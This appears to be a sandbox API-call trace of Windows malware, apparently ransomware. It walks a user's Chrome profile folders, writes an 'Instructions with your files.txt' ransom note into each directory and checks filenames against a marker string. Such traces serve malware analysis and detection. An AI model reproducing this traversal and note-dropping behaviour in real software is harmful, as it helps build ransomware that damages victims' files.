[0130.356] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.356] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.357] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.357] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.357] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.357] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.357] CloseHandle (hObject=0x134) returned 1
[0130.357] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.357] GetProcessHeap () returned 0x810000
[0130.357] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.357] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
[0130.357] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\Instructions with your files.txt") returned 180
[0130.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0130.358] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0130.359] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0130.359] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0130.359] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0130.359] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0130.359] CloseHandle (hObject=0x130) returned 1
[0130.359] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0130.359] GetProcessHeap () returned 0x810000
[0130.359] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0130.360] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0130.360] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata") returned 148
[0130.360] GetProcessHeap () returned 0x810000
[0130.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0130.361] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*") returned 150
[0130.361] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0130.362] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\.") returned 150
[0130.362] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.362] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\..") returned 151
[0130.362] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x839fe880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7299, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1
[0130.362] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json") returned 169
[0130.362] StrStrIW (lpFirst="computed_hashes.json", lpSrch="SDfghjkl") returned 0x0
[0130.362] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836e0310, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0130.362] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json") returned 171
[0130.362] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
[0130.362] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836e0310, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0130.363] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\Instructions with your files.txt") returned 181
[0130.363] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0130.364] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0130.367] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0130.367] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0130.367] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0130.367] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0130.368] CloseHandle (hObject=0x130) returned 1
[0130.368] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0130.368] GetProcessHeap () returned 0x810000
[0130.368] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0130.368] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0130.368] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\Instructions with your files.txt") returned 171
[0130.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.371] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.372] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.372] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.372] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.372] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.372] CloseHandle (hObject=0x12c) returned 1
[0130.372] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.372] GetProcessHeap () returned 0x810000
[0130.372] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.373] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5817.313.0.5_0", cAlternateFileName="581731~1.5_0")) returned 0
[0130.373] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\Instructions with your files.txt") returned 156
[0130.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.374] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.375] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.375] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.375] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.375] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.375] CloseHandle (hObject=0x128) returned 1
[0130.375] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.375] GetProcessHeap () returned 0x810000
[0130.375] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.376] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0
[0130.376] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\Instructions with your files.txt") returned 123
[0130.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.376] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.377] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.377] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.377] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.377] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.377] CloseHandle (hObject=0x124) returned 1
[0130.377] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.378] GetProcessHeap () returned 0x810000
[0130.378] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ccc20 | out: hHeap=0x810000) returned 1
[0130.379] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80db2b00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1
[0130.379] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons") returned 88
[0130.379] StrStrIW (lpFirst="Favicons", lpSrch="SDfghjkl") returned 0x0
[0130.379] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80e97340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons-journal", cAlternateFileName="FAVICO~1")) returned 1
[0130.379] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 96
[0130.379] StrStrIW (lpFirst="Favicons-journal", lpSrch="SDfghjkl") returned 0x0
[0130.379] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81c321d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81c321d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81c58330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Profile.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1
[0130.379] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 98
[0130.379] StrStrIW (lpFirst="Google Profile.ico", lpSrch="SDfghjkl") returned 0x0
[0130.379] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802fc800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802fc800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87f47590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
[0130.379] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 87
[0130.379] StrStrIW (lpFirst="History", lpSrch="SDfghjkl") returned 0x0
